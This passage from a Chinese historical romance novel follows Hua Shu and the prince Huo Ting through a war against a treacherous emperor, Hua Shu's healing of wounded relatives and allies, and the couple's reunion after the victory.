“睡吧,睡醒后有件惊喜予你。”霍霆轻抚着她背脊,将人揽得更紧,恨不能化进骨肉、融为一体。 谁都不能抢走他的姑娘。 敢来犯者,格杀勿论。 * 华姝这一觉,沉沉睡到日落黄昏。 期间,有那粗粝骨节来蹭了蹭她柔嫩的脸皮,她不满地哼唧几声,他便不敢再搅扰,由着她继续睡了。 再睁眼时,却似半梦半醒。 她虚弱地拨开床帐,逆着橙红的夕照,竟在床边瞧见了两道熟悉的身形。 是半夏和白术。 半夏:“姑娘醒了,饿不饿?” 白术:“先沐浴还是先用膳?” 半夏:“奴婢陪了药浴。” 白术:“奴婢准备了温补的药膳。” 两人亲昵地凑过来,一言一语,一唱一和,将她安排得明明白白。 尤其白术,说起话来叽叽喳喳地,与从前在霍府时一般无二。 “王爷接你们过来的?”华姝声音还在飘。 “姑娘走后,王爷将我二人遣到了京郊别院,做些针线活计。”半夏心疼地扶起她,娓娓道来:“此次王爷派人接霍府上下出京,一道带上我二人,且先行一步。” 华姝了然,霍霆这是准备开战了。 沐浴时,她枕着浴桶沿,细细思量如今的局面。 前太子的遗孤现世,藩王另有三位,不论谁最终登基称帝,注定都要将昭文帝拉下马。他与裴夙,与霍霆等人积怨已久,注定是你死我活的一番较量。 誓要与昭文帝和裴夙的血,祭奠秦家和华家两大家族的满门冤魂。 而开战之前,秘密接出霍家众人,方能免除又一家族不被惨痛灭门。 晚膳时,华姝的猜想再一次得到印证。 镇南王府的膳厅很大,以门为中轴线,左右各摆了七张长条桌案。 仆从们井然有序地传菜摆酒,动作娴熟,似乎此处经常置办这么大规模的盛宴。 如今云城的战祸已除,杨靖和吴广也领兵回到宜城。只有萧成留守在那,负责战后重建的事宜,顺便养伤。 今晚十一位罗汉将军全部到齐,十一声“嫂子”依次喊过来,铿锵有力,气吞山河,听得华姝脸皮都烧红了,与桌上的糖醋大虾还要红。 她挨着霍霆坐,右侧的次桌。 也不好羞羞哒哒地失了礼数,遂强装镇定自若地应下,巧妙转移话题:“开战在即,各位将军的家眷可都已安置妥当?” “有劳嫂子挂牵。” 吴广答道:“此前老大兵败南戎的假战报,一式两份,有一份加急直达京都。我等顺势谎称南戎不日要攻打京城,让家中族人都提前出城来避一避。” 华姝点点头,“如此便好。” 霍霆侧头瞧着她落落大方的模样,脸色分外柔和,只觉与有荣焉。 吴广、杨靖等人瞧在眼里,借着酒劲调侃他,“老大现如今人逢喜事精神爽,今晚定是要不醉不归啊!” 霍霆朗声大笑,“来,全换成大碗。” “痛快!哈哈哈哈哈……” 这般之后,霍霆明显忙碌起来。 府中几位将军常进常出,偶尔还有地方属官来拜见。 秦枭的事有些微妙,他鲜少过来。 偶尔,倒是会碰见顾朝。 此番邻居再见,俱已物是人非。 华姝已变回女儿身,穿戴装束样样都是宜城中顶尖的好。再经由半夏两人的巧手,一颦一笑皆是明艳动人,哪还有张二娃的半分影子? 直叫顾朝一时看呆了去,忙拱手致歉。 他身份亦是今非昔比,华姝不能受这礼,偏身避开。 谈笑间,她趁机打量他的长相,确与今上似有三分像。眉眼最像,貌似福佳公主、韶华公主,都是这副眼睛,倒是也不怕被混淆皇室血脉。 华姝接管了王府中馈,包括宜州府的日常事宜,也忙碌得很,寒暄一番,便福身告辞。 战事在即,整座宜城戒严。稍有些许端倪,她都亲自前往一探,以免“柳大夫”那等奸细再混进城中。 虽是未来得及筹办婚礼,但往来众人,皆会尊称她一声王妃。 原也不是华姝要求的,而是那位镇南王爷新养成了一句口头禅:“我家王妃,怎么怎么着……” 恨不得让全天下都知晓,华姝是属于他的,谁都不准染指。 闹到最后,坊间顽童都编出了歌谣。 “ 将军甲,王爷袍,只把王妃当珍宝。 掌兵权,镇四方,见了王妃软心肠。 步不慌,意不忙,王爷身后把娇藏。 刀枪冷,情意长,此生只守一人旁。” 霍霆听后不恼反笑,大手一挥,让所有唱歌谣的孩童,都来王府领一大袋子糖果。 好嘛,这事更是一发不可收。 而童谣,也成了霍霆巧妙破局的关键。 他没有直接发动战争,而是先在民间谣传一波,昭文帝通敌叛国的罪行。 煽动得各地的藩王们蠢蠢欲动,闹得京城人心惶惶。文武百官也渐渐坐不住了,纷纷开始暗中站队。 自始至终,霍霆皆没暴露顾朝。 得知他无意称帝后,藩王们看中他兵力,皆是有意结盟,抛出各种诱人的礼待。 霍霆坚持中立,保存实力,前期一直坐山观虎斗。 直到由春转夏,五月中旬,眼见昭文帝和裴夙的兵力呈现出衰退之势,这才操兵点将,磨刀历马,只待一朝直捣黄龙—— 出征前夕。 华姝给他准备箱笼,不停提点半夏两人 “金疮药一定要带足了。” “护心镜要放在最显眼的位置。” “还有平安符!且缝进他贴身的里衣,免得又是忘记佩带……” 零零散散,操碎了心。 一想到他那次中箭后气息奄奄的样子,她这心中总是七上八下的。 半夏和白术一一应是。 瞥见霍霆进门,正含笑凝看华姝背影。 她俩无声行礼后,也抿嘴笑着退出去。 霍霆悄无声息走到华姝身后,抬手用骨节蹭了蹭她细滑的脸蛋,“无需担心,后续还会有补给陆续送到前线。你若是还想到什么,届时命人再带过去即可。” 书桌前,华姝正一一核对箱笼的清单。 她放下玉笔,仰头看他,后脑勺抵住他劲挺的腰腹,“道理虽是这般,若真到了急用却短缺时,岂不是忧人的很?” “你如今这般憔悴消瘦,才是忧人得紧。”霍霆怜惜地抚摸得她变尖的下巴,“这几日怎得胃口不好,不能是有了吧?” 华姝嗔他,“美得你。” “那我自是美哉。”霍霆倒也不谦虚,笑谈:“若是哪天听闻要当爹了,老子一人就能端了他一座城。” 逗得华姝忍俊不禁。 不过,也惹起她忧虑多时的一件事,“女人成产犹似进入鬼门关。澜舟,我怕……” 霍霆笑容消散,面色严正起来。 “那便不生了。” “只养着一个,足矣。” “什么一个?” 华姝迷惑一瞬,站起身,脸色也变得严肃:“你在外面有女人了?可是那位南戎公主?” 霍霆此前攻破南戎的都城,约定友好邦交二十年。是以,南戎国君有意送其胞妹来大昭和亲。 昭文帝叛国已是不争的事实,这和亲一事定不能再便宜了他。于是曾有属官提议,让霍霆迎娶那位公主,自当如虎添翼。 “姝儿这般想我,可叫为夫甚是伤怀了。”霍霆叹息:“我连韶华公主都未娶,又怎会入眼那南戎公主?” 华姝心道也是,“那你适才说只养一个,又是何人之子?莫非,是哪位将军的遗孤?” 霍霆但笑不语。 一双俊美乌亮的眼眸,只炯炯望着她。 华姝后知后觉,薄薄的雪靥染上一片娇羞的红霞,轻捶他,“烦人!我有医术在手,才不用你养活呢。” “那便叫姝儿养活我罢。可怜为夫出征在即,自此就要茶饭不思,夜不能寐……” 说话间,他单臂就轻易地打横抱起华姝,大步流星地往东间床榻而去。 第74章 再见霍玄 帝星不正, 民心不稳,诸雄群起而攻。 且不提那些草莽揭竿起义,单说三位番王打着“护佑先祖百年基业”的旗号,自东北、东南、西北一路率兵直逼京城, 就让昭文帝焦头烂额, 捉襟见肘。 随着霍霆的加入, 战局急剧扭转。 他一路北上,以势如破竹的压倒性兵力, 沿途收编不少小型队伍,论功行赏,为自己所用。 三位藩王见此形势,又是千方百计地示好霍霆,以期收割这一员猛将。 霍霆一如既往保持中立,谁也不帮衬,只从西南放拦截帝军,将决战圈压缩得越来越小,眼见着那昭文帝和裴夙成为困兽之斗。 前线的兵强马壮, 离不开后方的补给。 萧成年龄最小, 早年常被哥哥们留在后方, 押运粮草经验最为丰富。 加上他此次腿伤初愈,不宜大动干戈, 于是战马、兵器、尤其是火铳这些军需, 尽数归他统管, 负责统一押运到阵前。 虽是累了些, 萧成倒也驾轻就熟。 此番,唯独火铳是例外。 昭文帝和裴夙防范得紧,早就尽可能地清空市面上的硝石、硫磺等原材料。尽管萧成有心督办, 却是巧妇难为无米之炊,急得他二十多岁就愁出了大把的白发。 后来一番周旋,多亏吐蕃国王雪中送炭,这才解了燃眉之急。 另一边,霍家三房早早来宜城避难。 为免华姝再受后宅委屈,霍霆皆给他们另辟了宅院。 经过两年前那一遭,大伙再见,心有戚戚。但不论自家内里如何,大敌当前,自是劲往一处使。 三老爷曾在吏部,此次全权负责盔甲战袍等衣物。二老爷曾在工部,此次便负责粮食的补给。 大老爷曾就职礼部,便与华姝一起筛选上乘药材,以及从前线接回的重伤将士们的安置与医治。 常常天未亮,华姝就打着哈欠从床上爬起来,与大老爷、三老爷、萧成等人晨会对账,对齐紧要消息。 日子过得忙忙碌碌,对霍霆的思念却是不减反增。 萧成每次派去押送粮草的将领,就成了两人鸿雁传书的信使。 统共也就三封家书,全被华姝压在枕头下,想他想得狠了,就拿出来一字一句触摸,想象触摸他眉眼时的样子。 在外三个多月,吃不好睡不好,他定是又要消瘦许多。 不过,一瞧见那信纸开头的“小女华姝”戏称,和出征前夕他那用不完的精力,她就气得牙痒腿软。 让自己狠下心肠,才不要心疼这厮! * 为了转移注意力,华姝总是通宵达旦地医治病患。 其中就包括,医治表姐霍千羽的腿疾。 夏日晚风,蝉鸣沙沙。 镇南王府湖心亭中,四位女眷围坐一处,中央石桌摆满各色冰镇的瓜果和凉茶。 华姝经银针刺探穴位,发现霍千羽左腿的底子相对良好,可作为入手点。 但毕竟积疾已久,华姝虽有成功病例在前,仍是不敢托大,“我会竭尽全力医治表姐,但还请大伙别抱太大希望。” 大伯母抱着霍千羽,掩面哽咽:“能有一分希望已是奢求,姝儿放手一试便好。” 老夫人慈爱拉着华姝,语重心长:“好孩子,你在外一人吃了那般多的苦,都不忘着千羽的腿疾,我们又怎舍得怪你?” 至于二夫人和三夫人,还是与华姝瞧不对眼。 然而逢于乱世,兵权当道,整个宜城的属官都要看华姝脸色,她俩再没底气对她指指点点,冷嘲热讽。 这次茶歇会,华姝也懒得邀请她俩。 四人抱着唏嘘啜泪一场,事情正式敲定下来。 为方便医治,霍千羽留宿于王府。 不出所料,治疗比不得先前几人顺利。 旁人只需嫁接一处断掉的筋脉即可,但霍千羽当年乃是整双腿全没入冰湖,几乎是整条筋脉受损。就得从上身找完好的筋脉,一截一截地替换。 无论是上身筋脉的恢复,还是下身筋脉的愈合,皆是漫长的康养过程。 期限一次次延长,信心一次次被消磨。 有好几次,霍千羽都痛恨地捶着废腿,“算了吧,反正我早已习惯。” 从五六岁就开始瘫痪,被折磨这么多年,可不就是早习惯、早麻木了吗? 华姝蛾眉紧蹙,心拧巴做一团:“再试试吧,总归结果不会更差。” 转眼间,到了炎炎夏末。 黄昏,众人忙里偷闲到葡萄架下乘凉。 霍千羽坐在木轮椅上,像往常一样,津津有味地翻看话本子,“这一巴掌扇得好,看着人真解……哎哟,怎得又有蚊子!” 她吃痛一声,抬手猛然拍在脚踝处,然后张开掌心给华姝瞧,“你看吧,这里有驱蚊草也不顶事,咱还是回房待着吧。” 华姝瞧着她笑,也不说话。 霍千羽莫名其妙,“你总看我作甚?” 华姝继续笑,笑得眼圈泛红,热泪盈框,哽咽得说不出来话。 霍千羽迟疑片刻,在半夏的提示下,后知后觉地低下头,僵硬看着自己的左脚踝,瞳仁恍动,难以置信。 她唇瓣颤了颤,又颤了颤:“我的左脚,它、它知道痒了……” 华姝掩着唇,连连点头。 “是,它知道痒了。” “它恢复知觉了。” “它终于恢复知觉了!” 霍千羽也喜极而泣,激动地抓住华姝双臂,“我真的有希望站起来了?姝儿,我有生之年是还能站起来的,对不对?” “对对对。”半夏和双雨也欢喜道:“大小姐呀,马上就能穿着最漂亮的新嫁衣,和蒋家姑爷站着拜天地啦……” “臭丫头,都别跑!” 霍千羽拿话本子砸她们,羞愤啐道:“等我站起来着,看我不撕烂你俩的嘴!” 原本祥和宁静的小院,瞬间笑闹一团。 大房夫妇得知此事后,反应不逊她们。 连晚膳吃到一半都不吃了,撂下碗筷,就从邻街的宅子跑过来,饶是一把年纪,都恨不得健步如飞。 老夫人实在跑不动,第一时间坐上轿撵,扶着桂嬷嬷,紧赶慢赶而来。满脸的褶皱,都笑开成花,喜悦之情溢于言表。 不多时,二老爷和三老爷也赶来道贺。 他们手上提着好些丹参、补药、礼盒之物,言称是二伯母和三婶娘亲手准备的。 华姝闻言笑笑,全留给了霍千羽。 乱世之中,刀剑不长眼,伤筋断骨者比比皆是。华姝这一手接骨连脉的医术,突然现世,很快远近闻名。继霍霆之后,又成为各大势力争相抢手的香饽饽。 换作旁人,或是怀璧其罪。 然一听闻霍霆爱妻如命,连那童谣都喜闻乐见,众人再是百般垂涎也不敢造次分毫,都恭恭敬敬地前来下拜帖。 华姝狐假虎威,皆以霍霆中立的态度为由,婉言拒绝。 出于医者仁心,她还是将自己的治疗心得整理成册,转交于他们的军医。究竟能不能治好,那就是他们自己的事了。 霍霆听闻此事后,提笔家书一封。 信纸的开头,这次终于不是“小女华姝”了,改作“神医华姝”。洋洋洒洒三页纸,讲述:“有妻如此,闻之美哉,老子一人端了他一座城。” 华姝单手托腮,从头看到尾,真是惊心又刺激:“惯是个让人不省心的。” “姑娘说谎!”白术打趣道:“我瞧着您那嘴角呐,分明就没下来过。” 华姝被当场抓包,更是忍俊不禁。 * 凡事都有例外。 这一日,霍玄携一女子前来宜城求医。 城门外,杏雨淅沥,晨雾迷蒙。 连夜赶路而来,伞下的两人鬓发微乱,衣肩浸染一层薄薄的水气。 经年一别,故人再见,只道物是人非。 霍玄身量拔高了许多,也清瘦了许多,仍是一袭隽秀的儒雅气,稳重中又隐隐凭添几分果敢。 他也在瞧华姝,她穿戴自是无需赘述,整个人由内而外透着自信,眉眼间神采飞扬。 不必再像当年寄人篱下时,那般刻意装乖藏拙。 也无怪于她会选择四叔…… “进去详谈吧,表姐也在我府上。” 华姝让开路,抬手朝向城门内,笑道。 那女子一袭红衣红枪,英姿飒爽。 “太好了!”她朗声大笑,如释重负:“一路过来,遇到颇多被婉拒者,还以为我们也进不去呢。” “一家人嘛,自是不同的。” 华姝将他们安排在霍千羽的隔壁院落,方便问诊,互相也能有照应。 晚膳要去大房府上,阖家欢聚。 午膳,就着厨房备了些当地的特色佳肴,像是宜良烤鸭、清炒水性杨花、蒸腊排骨、鲜花饼……为二人接风洗尘。 饭桌上,霍玄简短提及这两载旧事。 从徐阁老手中被救回后,尤其听闻华姝沉塘的噩耗,霍玄曾消沉过一阵时日。 后来他痛定思痛,没再意气用事,由府中护送着投入凤鸣军,还是坚持凭自己本事成就一番事业。 起初隐姓埋名,他只是个寻常新兵。 渐渐的,凭借自己多年习得的策论,才智展露头角,为一先锋军赏识,成为其麾下军师。 再之后,又为元帅凤老将军器重,一跃为全军营的军师之一。 有时,连兵败的敌军军师,都要心悦诚服地高赞他一句:“江山代有才人出,各领风骚数百年啊!” 说起来,凤鸣军也是中立队伍。 凤家同早年的秦家一样,皆是世代从军,镇守黄沙瞒天的陇西门户,凤鸣城。 凤鸣城与西北藩王接壤,但始终直属京都管辖。此次得知昭文帝通敌叛国的昭昭罪行后,凤老将军可谓痛心疾首,怒火中烧! 不过,他们那一辈人至死信奉护国尽忠,虎符只供天子一人调配。昏君无道,那便静待明君归位。大局未定之前,凤鸣军就帮着清剿帝军,其他争端一概装看不见。 而这女子,乃是凤将军幺女,凤鸣鸢。 也正是此次的求医者。 伤在右手虎口处。 “虽是接骨完好,然这大拇指仍不得劲,早前遍访数位名医也不得法。与人耍枪对决时,总因力道不足而屡出破绽。” 膳后,凤鸣鸢边说,边朝华姝比划着耍枪的动作,眼底压着微弱的希冀:“华神医,我这可还能治?” 华姝为她细细切脉,又以银针稍加刺探,而后收回手,笑道:“能治,你这还没千羽表姐的严重。” “当真?” 凤鸣鸢眼一亮,激动地拍案而起,“难怪大家伙都跋山涉水来寻你,真乃神人也!” 她不好意思地搓下手背,“不怕你笑话,我刚在城门口见你如此年轻,还在怀疑霍玄为了安慰我,故意夸大其词呢。” 霍玄无奈失笑:“凤将军,你这一句话可是得罪了两个人呐。” 华姝和霍千羽也相视一笑。 自此,凤鸣鸢就在镇南王府暂住下来。 霍玄则安置在了大房府上。 华姝也是事后才知,两人并无亲密关系,在军营中只是同袍之谊。 或者说,卿有情,郎无意。 据悉,凤鸣鸢这手就是在敌军突袭时,为救霍玄而伤。霍玄亲口所言,陪她前来诊治是出于亏欠、出于责任。 霍千羽私下里也曾提及过此事,“凤鸣鸢虽是女郎,行军打仗却不逊色几个哥哥,配合玄儿的作战方略亦是默契有佳。凤老将军颇为疼爱这个幺女,有意让玄儿作乘龙快婿。奈何玄哥儿……你说,他心里不会还在念着你?” “不能吧。”华姝细细思量,摇头道:“表兄此次归来,大多待在大伯母那,与我多有避嫌。” 看她的眼神,也没了那些深藏的怜惜与腼腆,更似从前对待霍华羽一般。 无独有偶,不久后,凤鸣鸢也这般问。 那日午后,华姝去给她虎口处拆药线。 凤鸣鸢盘坐在窗前的矮塌上,活动着越来越灵活的大拇指,顺势看向华姝被浸透的衣衫,“如今都入秋转凉了,你怎得出这么多汗?” 华姝用帕子轻轻擦拭额角,“去同萧将军一起清点军需来着,来来回回走得多了些。” 凤鸣鸢以拳撑住下巴,倾身向前,定定瞧着她,“说话温柔细语,做起事来又上得厅堂下得厨房,医术还闻名遐迩,难怪我会输给你。” 华姝微滞,放下帕子,回看对面。 她默了默,缓声问道:“凡评价,必标准。凤将军认为自己输给我的标准,又是什么?” “凡评价,必标准……” 凤鸣鸢靠坐回去,手臂随意搭在膝头,若有所思:“这说法听着倒是新奇。” “凤将军是爽快人,我也就不怕你笑话了。彼时能结识王爷,全因我身娇体弱而无力逃出大山,才阴差阳错造就一段佳缘。” 华姝笑谈:“若换作凤将军,必是凭借自身实力扭转逆境,换得另一番造化。” “是个通透的美人儿。” 凤鸣鸢沉思许久,忽而抚掌笑道,似是被一语惊醒梦中人。 这事就此搁置。 至于两人是否再相谈过,华姝就不得而知了。 倒是瞧见,凤鸣鸢在院中耍枪的次数越来越多。 出枪敏捷似豹,枪影似幻似真,红衣猎猎飞舞。身披熹熹天光,挥汗如雨之间,怎是一个飒字了得? 二人辞行前夕。 霍玄带着两坛清酒,来邀华姝小酌。 还是那架葡萄下,累累硕果,洒满月光清辉。 两人对面而坐,举头望月,推杯换盏,半晌谁也没开口。 后来,霍玄面色染上微醺的红意。 他再瞧华姝时,眼底压抑多时而释放出来的温润与缱绻,较之当年有增无减。 “四叔对你很好,我知道自己再无可能。”他低低喟叹:“但我总是会想,若当年你掉落山崖后,我就第一时刻罢学回家去寻,结局可会改变?” 华姝不确认霍玄清醒与否,只当一醉泯恩仇罢。她略作沉吟,肯定道:“不会。” 提及那人,她眉眼不自觉柔和下来。 “王爷几次护我性命,没有他,确实也就没有了如今的华神医。然而我于他,并非救命之恩以身相许。” 真计较起来,应是霍霆不惜抗旨,也要拒绝迎娶韶华公主那一次。 按霍霆当时的身份地位,哪怕强折她为妾,也是举手之劳。 可他为了尊她重她,不惜挑战能力之外的天家皇权,背水一战。 华姝委婉点破,面对同样不如意的赐婚,霍玄被动接受与霍霆顶着压力破局,截然不同的态度。 诚然与权势地位相干。 可试问天下各国的功勋贵胄千千万,又有几人能为一寄人篱下的孤女,费心至此? 从那时起,华姝开始愿意相信,霍霆对她并非一时兴起。 明明是个不拘小节的武将糙汉,凡事涉及她,总能提前安排周全。每每思及此,华姝这心肠总是软得一塌糊涂。 若床第间能再节制点,就更好了,哼。 霍玄静静瞧着,那张温婉脸上忽然雀跃而起的灵动,还有什么不懂的? 他苦苦一笑,仰头将酒坛一饮而尽。《 》 第75章 正文完 第75章 正文完 鏖战一载有余, 帝军节节败退。 战场从中原腹地一路直逼皇城脚下。 昭文帝座下的几员大将,始终拼死负隅顽抗。得意于顾朝绞尽脑汁,再一次改进火铳的杀伤力,以雷霆万钧之势, 轰碎皇城大门。 帝军一击溃散。 皇室四散逃窜。 又花费大半月的功夫去追剿余孽, 终于次年初秋八月, 迎来捷报。 霍家军班师回朝那日,百姓夹道欢迎, 男女老少,熙熙攘攘,万人空巷。 华姝和霍府三房已先一步搬回燕京城,她带着萧成、半夏等人暂时安置在京郊别院。 她和拄在单拐的霍千羽,早早在城门口的二层茶楼找好位置,只待那朱红铜钉大门一开,银甲铁骑踏碎长街晨雾。 两排墨色战旗遥遥领先,猎猎作响。卷着未散的沙场硝烟,撞入满城欢腾。 霍霆正襟危坐于高头战马之上, 玄甲染霜, 剑眉入鬓。凛肃墨眸扫过沿路百姓, 周身未退的杀伐之气,让万众甘心俯首。 身后将士甲胄铿锵, 队列如铁。马蹄声沉稳如鼓, 气吞山河, 每一步都仿佛踏在人心尖上。 华姝凭栏托腮, 瞧着楼下那威风凛凛的男人,欣慰一笑。 时隔四年,他第一次回京时本该拥有的凯旋荣光, 总算实至名归。皇天终是未辜负有心人。 也不知百步穿杨的将军们,是否个个眼力顶好。反正霍霆在这盛世欢腾中,一眼就精准瞄准了她。 那万年冰山似的脸,骤然如冬雪初融般一展欢颜,英俊无滔。 华姝惊喜愣住,露出几分娇憨。 霍霆更是笑容大绽,索性勒住缰绳,当场双臂伸展开来,露出宽厚坚实的胸膛,示意她直接跳到他马上。 随着他停下来,后面的队伍齐齐驻足。 百姓们闻风而动,也纷纷朝茶楼二层看过来,好奇霍将军这是为哪位大人物所吸引。 结果惊鸿一瞥,那道俏丽的倩影已娇羞躲进了屋去。 几个丫鬟鱼贯而出,身前挂着红绸小鼓,手持鼓槌的,手拿铜锣的,手拿唢呐的……个个如欢脱的小鹿“滴滴哒哒”吹吹打打,好不喜庆热闹! 众人一瞧,懂了,王爷的家里人哟! 而霍霆本人早已朗声大笑,笑声酣畅而雄浑。 后面的罗汉将军们,也笑得合不拢嘴。 杨靖还羡慕道:“等着下次,我也要让我家那口子来城门,给我整一出这旗鼓隆咚呛。” 杨靖家里可是位女霸王,吴广无情拆台:“要我看呐,弟妹迟早把你整成一出……旗鼓隆咚呛!” 其余几人幸灾乐祸,哄声大笑。 霍霆亦是失笑。 他大手一挥,队伍再次整齐有序前进。 银甲铁骑后是弓箭手,再之后是步卒。 弓箭手和步卒之间,十几辆囚车如丧家之犬一般暴露在太阳下,里面装的正是昭文帝为首的皇室众人。 原本欢欣鼓舞的百姓,霎时没了笑容。 指指点点,愤恨唾骂,更有人将臭鸡蛋、烂菜叶子一股脑丢过去。任凭士兵们怎么维持秩序都没用。百姓们同仇敌忾,恨不得用吐沫星子淹死这群人。 华姝隐在楼上瞧着,没有裴夙身影。 回到别院才知,裴夙自刎于骆奶娘坟前,已让心腹将他们母子二人同葬。以免被人挖坟鞭尸,连墓碑都没有立。 华姝不难理解他的选择。 那么爱干净一人,怎能忍受被人装在肮脏的囚车里,受尽这臭鸡蛋、烂菜叶子的熬煎? 华姝恨他,却也知晓这可恨之人有着可怜之处,只能怪造化弄人罢。 对于裴夙的结局,她不置可否,仅化作一声长长的喟叹,消散于苍茫秋风里。 “来啦来啦,火盆来啦!” 半夏带着一串的丫鬟小厮们,火盆熊熊,鞭炮齐鸣,艾草烟雾熏蒸漫天。 有人受不住的咳嗽,但仍忍不住喜气洋洋。个个说着漂亮的吉祥话,人手大红封一个,比过年还热闹哩! 霍霆双臂叉腰站在门槛前,眉峰蹙动,很不适应。他征战多年,还是头一次回家如此繁琐。 不过也乐得配合华姝,他几下旋身而转,就身姿矫健地走完全程,屹立于门内台阶下,“还有吗?” “应该没了吧。”华姝也是大姑娘上轿头一回置办这些,她偏头问半夏,“还有其他习俗讲究吗?” 半夏摇头。 她刚想说“要不我去请教桂嬷嬷”,就见王爷那孔武铁臂一捞,直接将自家姑娘抗进了寝房。 这…… 啊这? 在场众人,你看我我看你。丫鬟们羞得抬不起头,小厮们使劲抿紧嘴角。手脚麻利地打扫干净门口,拿着大红封喜滋滋离去。 半夏和白术俩人作为贴身大丫鬟,逃不开躲不掉,红着脸默默站到主屋门口,以备随时传唤伺候。 不过须臾,只听屋内伴着俩人絮絮争辩,拔布床已然吱呀作响。 “青天白日的,你快收敛些罢。” “我在城门口没发作,已然甚是克制。” “那、那你也得先行沐浴呀。” “城外拔营前刚洗过。若是不信,随你检查。” “才熏蒸过艾草呢。” “要洗也行,你陪我……” 女子语气越来越软,渐渐软成一汪春水,酥软入骨。 男人声音粗犷低沉,明目张胆,理直气壮。后来更似疾风暴雨一般步步紧逼,气势汹汹,吞没了那娇软之声。 秋风掠过檐角,紫竹风铃“叮叮咚咚”摇晃,细碎的清音漫过窗棂,仍是掩盖不住那激昂澎湃的靡靡之音。 半夏和白术两个未出嫁的姑娘,你推我搡,齐齐站远了去,绯红脸颊埋得低低的。 守在不远处的濯缨,暗暗叹道。 唉,总算有人能体会到他的心情咯。 * 一番折腾下来,已是晌午过半。 餍足食髓后的男人周身气势眼瞧着弱下来,揽着娇妻又亲又哄,百般示好,总算得到一个不咸不淡的正眼。 霍霆不恼反笑,慢条斯理地披上外衫,打来屋门,吩咐人备水备膳,转捡华姝爱吃的菜色来点。 沐浴着暖阳和风,他长臂大开一展筋骨,顿时神清气爽。心叹,还是回家好啊…… 午膳就摆在寝房。 窗前,华姝披着半干的墨发,无精打采地倚在罗汉床上,连拿玉箸的手都在抖。 霍霆始终留意她视线,一见她想吃什么,即刻端到眼前。做低伏小的样子,让半夏等人想笑又不敢笑。 连长缨都瞧不下去了,抱着佩剑,自个站到门外去。 膳后,华姝温水净手,又饮上一盏清茶,就近歪在罗汉床上假寐,一动不想动。 霍霆就盘腿守在她身侧,半步也舍不得分开。他一手为她揉着酸软的腰肢,一手展开密信,纵览燕京城如今的整体局势。 时至今日,燕京还是无主之城。 早在起兵前夕,霍霆就与顾朝定下君子协议,会助他重回朝臣视线,但不会支持他登基。 当然也不会支持其他三位藩王。 霍霆不想沦为兔死狗烹的下场。 若顾朝能登基,也不必受制于谁的挟恩胁报。至于顾朝与秦枭的父子之情怎么论,那就是他们二人自己的事了。 之所以如此,是因为看似实力薄弱的顾朝,背后不乏支持者。 前有他母亲不惜性命,护得火铳图纸。 后有他研制出火铳弹药的功绩。此番清剿昭文帝的行军过程中,他多次展露自己的才干锋芒,都被底下的人一一瞧在眼中。 而且,前太子与昭文帝乃一母同胞。 如今昭文帝倒台,太后及其母族靖国公府不管内痛恨与否,大势所趋,趋利避害,都必然得支持这位与他们唯一血脉相连的皇长孙。 再反观,举兵而起的三位藩王。 麾下皆有自己的数万兵力,朝堂上有自己秘密培养的势力,亦是实力不俗。 四方阵营旗鼓相当,文武百官各位其主,早就唇枪舌战了不知几个回合,仍是难以一较高下。 霍霆这手下的十多万大军,和凤老将军的那七万精兵强将,站队就显得至关重要。 不过两人早已私下书信约定,始终保持中立。他们认的是玉玺,信的是精忠报国,护的是这泱泱大昭! 待休整几日,霍霆就放话出去:即日领兵回去继续镇守宜城,若无天子召见,此生永不入京。 他侧身凑近假寐的娇妻,低头印下一吻:“老子也有日子要过,也有孩子要养。” 华姝睁开眼,没好气地锤他,“霍澜舟,你又来贪我便宜。” 白净的粉拳一把被麦色大掌扣住。 霍霆欺身压下去,轻咬后牙,佯怒板脸道:“个小丫头,胆子越发肥了。都敢连名带姓吼我了,啊?” 华姝眼见气氛不妙,忙不迭轻推他肩膀,哭笑不得,柔声求饶:“你、你又要作什么呀……” “振夫纲!” 说话间,男人故作凶狠地撸起左右衣袖,两只铁钳似的长臂一瞬间就将她按在了窗前。 因着是逆光,那魁岸身形一俯低,大片的阴影就兜头笼罩而来,浓郁骇人。 尽管知晓霍霆不会真对她动粗,华姝仍是忍不住地呼吸发紧,眼睫孱颤,心脏也“砰砰”狂跳地厉害。 他滚烫的唇齿很快含住她的,轻咬慢碾,吻得越发熟练老道。轻轻松松就能吞没她的呼吸,勾起她的心悸,进而掌控她的所有。 华姝每次都不是他的对手,不过几个回合就被迫地缴械投降。 好在知道他疼她,就有意放赖地将脸埋进他肩窝,牢牢揽住他宽厚的臂膀,说什么都不肯撒手。 偏他闲置一年多光景,如今贪得很。 她刚埋进去,就被他拎了出来,宛如一只被叼住后颈的乳猫,呜呜挣扎:“舌头还破着皮呢,午膳连蟹酿橙都没敢碰。” 说话间,两弯蛾眉微蹙,巴巴瞧着他。 霍霆垂眸凝看着她,沉默几息,意味不明地低笑了声:“我何时说过要进去?” 华姝怔了怔。耳根猛地滚烫起来,羞愤像火一样窜上脸颊,连莹润的耳垂都鲜红欲滴:“你你你……你放手!” 殊不知,她的唇瓣翕合之间有多么饱满诱人。 霍霆如何能听她的? 复而低头含住,再一次加深索吻,不知疲倦地汲取、沉沦,气息逐渐急躁而沉甸。 倒底心疼她,这次纠缠不算过长。 最后,男人略带克制地啄了啄她左唇角、唇珠、右唇角。又不解渴地咬了咬她下巴,鼻头,直至含住她染着雾气的羽睫,松松逗弄着。 有那么一瞬间,华姝感觉他真拿自己当个孩子在逗弄。这戳一下,那香一口的,怎么把玩都爱不释手。 也是让她好笑不迭。 然后,她倏然思及一个问题。 一个甚是重要的问题。 “澜舟,你日后是不是很长一段时日,都没机会上战场了?” 霍霆剑眉一凛:“你什么意思?” 还能什么意思? 他这旺盛的气力若没处发泄,最后还不都得落她一人头上?她哪里能吃得消哇? 华姝光是想想,双腿就止不住地发颤,“……澜舟,我怕。” 霍霆眯眼:“你嫌我?” 华姝心虚别开眼,“没有。” 霍霆加重语气:“你就在嫌我。” 华姝讨好地环住他腰,“真不是。” 霍霆:“证明给我看。” 华姝:“……” 好好好! 今时今日,她不论说什么都能变作呈堂证供,都能成为他讨伐她的借口。 这男人当真越来越霸道。 这日子也是没法好好过了! 窗外正是那片荷塘,初秋的荷花争奇斗艳。有清风吹来,香而甜的气息徐徐飘进来,满室馨香怡人。 檐下的紫竹风铃跟着叮咚作响。 华姝闻讯看去,又不想动弹,仰脸抬眼。 霍霆失笑,长臂一推窗,姹紫嫣红的荷塘美景就映入眼帘。 不知何时坠了秋雨,雨丝漫过荷叶碧波,疏影横斜,暗香随水纹悠悠散开。 华姝倚着他静静赏观,忽而想起四年前。 那也是一个雨打桂花的初秋,彼时她才从山中逃回霍府没多久,被府上碎嘴婆子堵到院门口骂。 